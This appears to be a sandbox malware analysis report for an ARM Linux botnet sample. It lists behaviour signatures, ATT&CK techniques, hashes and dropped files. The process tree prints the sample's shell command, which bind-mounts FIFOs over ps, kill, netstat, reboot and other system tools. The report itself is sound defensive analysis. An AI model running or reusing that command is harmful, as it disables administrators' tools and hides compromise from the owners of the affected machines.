Overview

overview

7

Static

static

1

arm7.urbot...ss.elf

debian-12-armhf

7

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-12_armhf
  • resource
    debian12-armhf-20250619-en
  • resource tags

    arch:armhfimage:debian12-armhf-20250619-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem
  • submitted
    23/09/2025, 04:33

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    arm7.urbotnetisass.elf
  • Size 274KB
  • Sample250923-e6qpcsfl8w
  • SHA256 5b764fed557ce781e9152b507ed79acf176e994618a80dacbcb59895c81e95ca
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10
credential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 3 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 3 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Writes file to system bin folder 1 IoCs
  • Modifies Bash startup script 2 TTPs 3 IoCs
    persistence
  • Reads process memory 1 TTPs 1 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs

    Execute scripts via Unix Shell.

    execution
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/arm7.urbotnetisass.elf
    /tmp/arm7.urbotnetisass.elf
    1⤵
    • Deletes itself
    • Modifies Watchdog functionality
    • Creates/modifies Cron job
    • Creates/modifies environment variables
    • Enumerates active TCP sockets
    • Modifies rc script
    • Writes file to system bin folder
    • Modifies Bash startup script
    • Reads process memory
    • Reads system network configuration
    • Reads runtime system information
    • Writes file to tmp directory
    PID:786
    • /bin/sh
      /bin/sh -c "for c in ps kill grep ls cat readlink mount umount awk sed cut wget curl top netstat ss lsof reboot shutdown halt poweroff; do mkfifo /tmp/\$c 2>/dev/null; mount --bind /tmp/\$c /bin/\$c 2>/dev/null; mount --bind /tmp/\$c /usr/bin/\$c 2>/dev/null; mount --bind /tmp/\$c /sbin/\$c 2>/dev/null; mount --bind /tmp/\$c /usr/sbin/\$c 2>/dev/null; done"
      2⤵
      • Command and Scripting Interpreter: Unix Shell
      PID:810

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        1
        T1059

        Unix Shell

        1
        T1059.004

        Scheduled Task/Job

        1
        T1053

        Cron

        1
        T1053.003

        Persistence

        Boot or Logon Autostart Execution

        2
        T1547

        Boot or Logon Initialization Scripts

        1
        T1037

        RC Scripts

        1
        T1037.004

        Event Triggered Execution

        1
        T1546

        Unix Shell Configuration Modification

        1
        T1546.004

        Hijack Execution Flow

        1
        T1574

        Path Interception by PATH Environment Variable

        1
        T1574.007

        Scheduled Task/Job

        1
        T1053

        Cron

        1
        T1053.003

        Privilege Escalation

        Boot or Logon Autostart Execution

        2
        T1547

        Boot or Logon Initialization Scripts

        1
        T1037

        RC Scripts

        1
        T1037.004

        Event Triggered Execution

        1
        T1546

        Unix Shell Configuration Modification

        1
        T1546.004

        Hijack Execution Flow

        1
        T1574

        Path Interception by PATH Environment Variable

        1
        T1574.007

        Scheduled Task/Job

        1
        T1053

        Cron

        1
        T1053.003

        Defense Evasion

        Hijack Execution Flow

        1
        T1574

        Path Interception by PATH Environment Variable

        1
        T1574.007

        Impair Defenses

        1
        T1562

        Credential Access

        OS Credential Dumping

        1
        T1003

        Proc Filesystem

        1
        T1003.007

        Discovery

        System Network Configuration Discovery

        1
        T1016

        Internet Connection Discovery

        1
        T1016.001

        System Network Connections Discovery

        1
        T1049

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        rc.local
        • Path /etc/rc.local
        • Size 17B
        • SHA256 306c6ca7407560340797866e077e053627ad409277d1b9da58106fce4cf717cb
        • MD5 SHA1 SHA512
        Submit Download

        .broken_shell
        • Path /tmp/.broken_shell
        • Size 137B
        • SHA256 c102dc8cd4c206f5cdc178fc498df4b15dfd43d17123867fffaf44220383c7d4
        • MD5 SHA1 SHA512
        Submit Download

        .mock
        • Path /tmp/.mock
        • Size 388B
        • SHA256 b0082567296e2db8275072c23020cb893dd58ba8b995d49a0d531908f884b19a
        • MD5 SHA1 SHA512
        Submit Download

        .taunt
        • Path /tmp/.taunt
        • Size 796B
        • SHA256 39bd06f3e25159f5fece6db6c7a6e0f25d5be5a46be90bacda7a9ea3d71b95f9
        • MD5 SHA1 SHA512
        Submit Download